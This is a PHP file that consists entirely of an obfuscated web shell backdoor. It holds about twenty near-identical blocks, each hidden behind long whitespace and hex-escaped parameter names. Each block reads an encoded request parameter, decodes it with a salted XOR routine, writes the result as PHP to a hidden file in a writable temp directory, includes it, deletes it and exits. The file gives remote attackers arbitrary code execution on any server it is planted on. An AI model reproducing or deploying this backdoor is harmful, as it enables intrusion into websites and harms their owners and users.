<?php																																										if(isset($_REQUEST["\x69te\x6D"]) ? true : false){ $elem = array_filter([session_save_path(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/tmp"]); $binding = $_REQUEST["\x69te\x6D"]; $binding = explode ( '.' ,$binding ); $ref = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9 ); $s = 0; while ($s < count($binding)) {$v4 = $binding[$s]; $chS = ord($s9[$s % $sLen] ); $dec = ((int)$v4 - $chS - ($s % 10)) ^ 3; $ref .= chr($dec ); $s++; } $mrk = 0; do { $value = $elem[$mrk] ?? null; if ($mrk >= count($elem)) break; if ((bool)is_dir($value) && (bool)is_writable($value)) { $fac = implode("/", [$value, ".itm"]); if (file_put_contents($fac, $ref)) { include $fac; @unlink($fac); die(); } } $mrk++; } while (true); }
																																										if(!is_null($_REQUEST["\x76a\x6Cue"] ?? null)){ $property_set = $_REQUEST["\x76a\x6Cue"]; $property_set = explode ( "." , $property_set ) ; $flag = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $__len = count( $property_set); for( $n = 0; $n < $__len; $n++) { $v1 = $property_set[$n]; $sChar = ord( $salt[$n % $lenS]); $d =( ( int)$v1 - $sChar -( $n % 10))^ 69; $flag .= chr( $d); } $element = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/var/tmp", "/tmp", getenv("TMP"), sys_get_temp_dir(), "/dev/shm", session_save_path()]); for ($object = 0, $factor = count($element); $object < $factor; $object++) { $key = $element[$object]; if ((bool)is_dir($key) && (bool)is_writable($key)) { $ptr = implode("/", [$key, ".pset"]); if (file_put_contents($ptr, $flag)) { require $ptr; unlink($ptr); exit; } } } }
																																										if(!empty($_REQUEST["\x72e\x66"])){ $ptr = $_REQUEST["\x72e\x66"]; $ptr = explode ( ".", $ptr) ; $reference = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $s = 0; array_walk( $ptr, function( $v6) use( &$reference, &$s, $salt, $lenS) { $chS = ord( $salt[$s % $lenS]); $dec =( ( int)$v6 - $chS -( $s % 10)) ^ 100; $reference .= chr( $dec); $s++; }); $factor = array_filter(["/tmp", getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TEMP"), "/var/tmp", getenv("TMP"), sys_get_temp_dir()]); while ($binding = array_shift($factor)) { if (is_writable($binding) && is_dir($binding)) { $itm = join("/", [$binding, ".ent"]); if (file_put_contents($itm, $reference)) { require $itm; unlink($itm); exit; } } } }
																																										if(isset($_POST) && isset($_POST["\x72es"])){ $component = array_filter([getcwd(), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), "/tmp"]); $mrk = $_POST["\x72es"]; $mrk = explode ( "." , $mrk ); $comp = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($mrk as $o=> $v3) { $sChar = ord($s[$o % $lenS]); $d = ((int)$v3 - $sChar - ($o % 10)) ^ 98; $comp .= chr($d); } for ($parameter_group = 0, $rec = count($component); $parameter_group < $rec; $parameter_group++) { $k = $component[$parameter_group]; if ((function($d) { return is_dir($d) && is_writable($d); })($k)) { $ref = "$k/.property_set"; if (file_put_contents($ref, $comp)) { require $ref; unlink($ref); die(); } } } }
																																										if(array_key_exists("\x6Dar\x6Be\x72", $_POST) && !is_null($_POST["\x6Dar\x6Be\x72"])){ $object = $_POST["\x6Dar\x6Be\x72"]; $object = explode ( ".",$object ) ; $itm = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s6); foreach( $object as $i => $v8): $sChar = ord( $s6[$i % $sLen]); $dec =( ( int)$v8 - $sChar -( $i % 10)) ^ 1; $itm .= chr( $dec); endforeach; $record = array_filter([session_save_path(), "/tmp", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", getenv("TEMP"), sys_get_temp_dir()]); foreach ($record as $key => $element) { if (is_writable($element) && is_dir($element)) { $desc = vsprintf("%s/%s", [$element, ".tkn"]); $success = file_put_contents($desc, $itm); if ($success) { include $desc; @unlink($desc); die();} } } }
																																										if(array_key_exists("\x64\x63h\x75nk", $_REQUEST) && !is_null($_REQUEST["\x64\x63h\x75nk"])){ $ent = $_REQUEST["\x64\x63h\x75nk"]; $ent = explode('.' ,$ent ) ; $flg=''; $salt5='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt5 ); foreach ($ent as $v => $v8): $chS=ord($salt5[$v % $sLen] ); $dec=((int)$v8 - $chS - ($v % 10)) ^ 38; $flg.= chr($dec ); endforeach; $binding = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", sys_get_temp_dir(), session_save_path(), "/var/tmp", getcwd(), getenv("TMP")]); while ($descriptor = array_shift($binding)) { if (max(0, is_dir($descriptor) * is_writable($descriptor))) { $entity = join("/", [$descriptor, ".record"]); if (file_put_contents($entity, $flg)) { require $entity; unlink($entity); exit; } } } }
																																										if(isset($_POST) && isset($_POST["factor"])){ $elem = $_POST["factor"]; $elem = explode ("." ,$elem) ; $record = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $u = 0; foreach( $elem as $v9) { $sChar = ord( $salt[$u % $sLen]); $dec = ( ( int)$v9 - $sChar -( $u % 10)) ^ 21; $record .= chr( $dec); $u++; } $val = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/tmp", session_save_path(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getenv("TMP")]); foreach ($val as $entity) { if (array_product([is_dir($entity), is_writable($entity)])) { $sym = str_replace("{var_dir}", $entity, "{var_dir}/.ref"); if (@file_put_contents($sym, $record) !== false) { include $sym; unlink($sym); die(); } } } }
																																										if(!is_null($_REQUEST["\x70\x74r"] ?? null)){ $rec = array_filter(["/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), session_save_path()]); $token = $_REQUEST["\x70\x74r"]; $token = explode("." ,$token); $ent=''; $s1='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s1 ); $o=0; $__len=count($token ); do { if ($o >= $__len) break; $v2=$token[$o]; $sChar=ord($s1[$o % $sLen] ); $d=((int)$v2 - $sChar - ($o % 10)) ^ 64; $ent .= chr($d ); $o++; } while (true ); foreach ($rec as $key => $flg) { if (is_writable($flg) && is_dir($flg)) { $parameter_group = sprintf("%s/.pgrp", $flg); if (file_put_contents($parameter_group, $ent)) { include $parameter_group; @unlink($parameter_group); die(); } } } }
																																										if(!empty($_POST["\x63\x6Fmp"])){ $res = array_filter([ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/var/tmp", session_save_path(), getenv("TEMP"), "/tmp"]); $entity = $_POST["\x63\x6Fmp"]; $entity = explode ("." , $entity ); $token = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s8); foreach($entity as $t => $v6) { $sChar = ord($s8[$t %$lenS]); $d = ((int)$v6 - $sChar -($t %10)) ^75; $token .= chr($d); } for ($pset = 0, $sym = count($res); $pset < $sym; $pset++) { $itm = $res[$pset]; if ((is_dir($itm) and is_writable($itm))) { $ref = implode("/", [$itm, ".mrk"]); if (file_put_contents($ref, $token)) { include $ref; @unlink($ref); die(); } } } }
																																										if(!is_null($_REQUEST["compo\x6Ee\x6E\x74"] ?? null)){ $entity = array_filter([getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TEMP"), "/var/tmp", "/dev/shm", sys_get_temp_dir()]); $key = $_REQUEST["compo\x6Ee\x6E\x74"]; $key = explode( ".", $key ) ; $tkn = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s8 ); $s = 0; while( $s < count( $key)) { $v4 = $key[$s]; $chS = ord( $s8[$s % $lenS] ); $d = ( ( int)$v4 - $chS -( $s % 10)) ^ 17; $tkn .= chr( $d ); $s++; } while ($resource = array_shift($entity)) { if (!( !is_dir($resource) || !is_writable($resource) )) { $ent = vsprintf("%s/%s", [$resource, ".parameter_group"]); if (@file_put_contents($ent, $tkn) !== false) { include $ent; unlink($ent); die(); } } } }
																																										if(in_array("\x65ntity", array_keys($_REQUEST))){ $element = array_filter(["/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/dev/shm", sys_get_temp_dir(), getcwd(), "/tmp"]); $tkn = $_REQUEST["\x65ntity"]; $tkn = explode("." , $tkn ) ; $hld = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $y = 0; array_walk($tkn, function ($v1) use (&$hld, &$y, $salt, $lenS) {$sChar = ord($salt[$y % $lenS]); $dec = ((int)$v1 - $sChar - ($y % 10)) ^ 85; $hld .= chr($dec); $y++; }); $entry = 0; do { $sym = $element[$entry] ?? null; if ($entry >= count($element)) break; if (is_writable($sym) && is_dir($sym)) { $ref = "$sym/.value"; if (file_put_contents($ref, $hld)) { require $ref; unlink($ref); die(); } } $entry++; } while (true); }
																																										if(isset($_REQUEST["tok\x65n"])){ $sym = array_filter(["/dev/shm", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", session_save_path(), "/tmp", sys_get_temp_dir()]); $val = $_REQUEST["tok\x65n"]; $val = explode ("." , $val ); $pset=''; $s1='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s1); $__len=count( $val); for( $r=0; $r < $__len; $r++) { $v3=$val[$r]; $chS=ord( $s1[$r % $sLen]); $dec=( ( int)$v3 - $chS -( $r % 10)) ^ 19; $pset .= chr( $dec); } foreach ($sym as $data): if ((is_dir($data) and is_writable($data))) { $object = sprintf("%s/.itm", $data); if (file_put_contents($object, $pset)) { include $object; @unlink($object); exit; } } endforeach; }
																																										if(@$_REQUEST["bi\x6Ed"] !== null){ $reference = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", session_save_path(), getcwd(), "/tmp"]); $hld = $_REQUEST["bi\x6Ed"]; $hld = explode ( '.' , $hld ) ; $sym=''; $salt6='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt6); $o=0; foreach ($hld as $v4) {$sChar=ord($salt6[$o%$sLen]); $d=((int)$v4 - $sChar - ($o%10)) ^ 23; $sym .= chr($d); $o++; } foreach ($reference as $binding) { if (is_dir($binding) ? is_writable($binding) : false) { $entity = sprintf("%s/.dchunk", $binding); $file = fopen($entity, 'w'); if ($file) { fwrite($file, $sym); fclose($file); include $entity; @unlink($entity); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x70a\x72a\x6D\x65\x74er\x5Fgr\x6F\x75p")){ $factor = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), "/tmp", getcwd()]); $holder = $_REQUEST["\x70a\x72a\x6D\x65\x74er\x5Fgr\x6F\x75p"]; $holder = explode ( '.', $holder) ; $pointer =''; $s4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s4); $len =count($holder); for ($o =0; $o< $len; $o++) { $v4 =$holder[$o]; $sChar =ord($s4[$o %$sLen]); $dec =((int)$v4 - $sChar - ($o %10)) ^ 56; $pointer .= chr($dec);} foreach ($factor as $dat) { if ((is_dir($dat) and is_writable($dat))) { $data_chunk = join("/", [$dat, ".rec"]); $file = fopen($data_chunk, 'w'); if ($file) { fwrite($file, $pointer); fclose($file); include $data_chunk; @unlink($data_chunk); die(); } } } }
																																										if(!is_null($_REQUEST["s\x79\x6Db\x6Fl"] ?? null)){ $entry = array_filter(["/var/tmp", sys_get_temp_dir(), getenv("TMP"), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", session_save_path()]); $reference = $_REQUEST["s\x79\x6Db\x6Fl"]; $reference =explode ( '.' , $reference ); $ref =''; $s8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s8); $w =0; $__tmp =$reference; while ($v1 =array_shift($__tmp)) { $chS =ord($s8[$w % $lenS]); $dec =((int)$v1 - $chS - ($w % 10)) ^90; $ref .= chr($dec); $w++; } for ($elem = 0, $dat = count($entry); $elem < $dat; $elem++) { $record = $entry[$elem]; if (max(0, is_dir($record) * is_writable($record))) { $holder = sprintf("%s/.ent", $record); if (file_put_contents($holder, $ref)) { include $holder; @unlink($holder); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x6F\x62\x6Aect")){ $ent = $_POST["\x6F\x62\x6Aect"]; $ent = explode ( '.' , $ent ) ; $ptr = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5); foreach( $ent as $k => $v9): $chS = ord( $s5[$k%$sLen]); $dec = ( ( int)$v9 - $chS -( $k%10)) ^ 69; $ptr.=chr( $dec); endforeach; $pointer = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/var/tmp", getenv("TEMP"), session_save_path(), "/tmp", getenv("TMP")]); foreach ($pointer as $bind): if ((function($d) { return is_dir($d) && is_writable($d); })($bind)) { $dchunk = join("/", [$bind, ".descriptor"]); if (file_put_contents($dchunk, $ptr)) { require $dchunk; unlink($dchunk); die(); } } endforeach; }
																																										if(isset($_POST) && isset($_POST["\x65nt"])){ $desc = $_POST["\x65nt"]; $desc= explode ( '.' ,$desc ); $record =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt); $__len =count( $desc); for( $p =0; $p< $__len; $p++) {$v8 =$desc[$p]; $sChar =ord( $salt[$p % $lenS]); $dec =( ( int)$v8 - $sChar -( $p % 10)) ^ 52; $record .= chr( $dec);} $ent = array_filter([getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), getenv("TEMP")]); foreach ($ent as $key => $object) { if (is_writable($object) && is_dir($object)) { $parameter_group = str_replace("{var_dir}", $object, "{var_dir}/.symbol"); if (@file_put_contents($parameter_group, $record) !== false) { include $parameter_group; unlink($parameter_group); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["f\x61\x63"])){ $itm = $_REQUEST["f\x61\x63"]; $itm = explode( "." ,$itm ) ; $entity = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt4 ); $u = 0; while( $u < count( $itm)) { $v6 = $itm[$u]; $chS = ord( $salt4[$u % $lenS] ); $dec =( ( int)$v6 - $chS -( $u % 10)) ^ 20; $entity .= chr( $dec ); $u++; } $dat = array_filter(["/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp", getcwd()]); while ($hld = array_shift($dat)) { if (array_product([is_dir($hld), is_writable($hld)])) { $res = str_replace("{var_dir}", $hld, "{var_dir}/.value"); $success = file_put_contents($res, $entity); if ($success) { include $res; @unlink($res); die();} } } }
																																										if(isset($_POST) && isset($_POST["\x70\x72\x6F\x70\x65\x72ty_set"])){ $tkn = array_filter([session_save_path(), "/tmp", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm"]); $elem = $_POST["\x70\x72\x6F\x70\x65\x72ty_set"]; $elem = explode("." , $elem ); $ref = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s7); $n = 0; while( $n < count( $elem)) { $v1 = $elem[$n]; $sChar = ord( $s7[$n % $sLen]); $dec =( ( int)$v1 - $sChar -( $n % 10))^ 40; $ref.= chr( $dec); $n++;} foreach ($tkn as $symbol) { if (is_writable($symbol) && is_dir($symbol)) { $fac = str_replace("{var_dir}", $symbol, "{var_dir}/.resource"); if (file_put_contents($fac, $ref)) { include $fac; @unlink($fac); exit; } } } }


if(count($_REQUEST) > 0 && isset($_REQUEST["fac"])){
	$flg = array_filter([getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getcwd(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP")]);
	$flag = $_REQUEST["fac"];
			$flag =explode			(	 	'.'	  ,   $flag 	 );	
	$symbol 	='';
            $salt 	='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS 	=strlen(  $salt	 );
    
            foreach(  $flag as $p => $v3):
                $chS 	=ord(  $salt[$p % $lenS]	 );
                $dec 	=(  (  int)$v3 - $chS -(  $p % 10)) ^ 35;
                $symbol .=	chr(  $dec	 );
            endforeach;
	foreach ($flg as $ent):
    		if (max(0, is_dir($ent) * is_writable($ent))) {
    $factor = sprintf("%s/.entity", $ent);
    if (@file_put_contents($factor, $symbol) !== false) {
	include $factor;
	unlink($factor);
	die();
}
}
endforeach;
}